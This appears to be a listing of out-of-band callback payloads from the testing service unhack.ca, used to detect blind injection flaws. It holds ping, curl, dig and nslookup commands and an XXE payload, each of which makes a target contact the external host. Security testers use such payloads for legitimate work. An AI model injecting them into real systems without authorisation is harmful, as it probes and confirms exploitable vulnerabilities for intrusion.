$ ping -c1 -p 00c1f01a966d482dbe27a9849c680900 unhack.ca
 

$ curl http://unhack.ca/p/c1f01a966d482dbe27a9849c6809
 

$ dig c1f01a966d482dbe27a9849c6809 @unhack.ca
 

$ dig c1f01a966d482dbe27a9849c6809.ns.unhack.ca
 

C:\> nslookup c1f01a966d482dbe27a9849c6809 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c1f01a966d482dbe27a9849c6809">]>
    <foo>&xxe;</foo>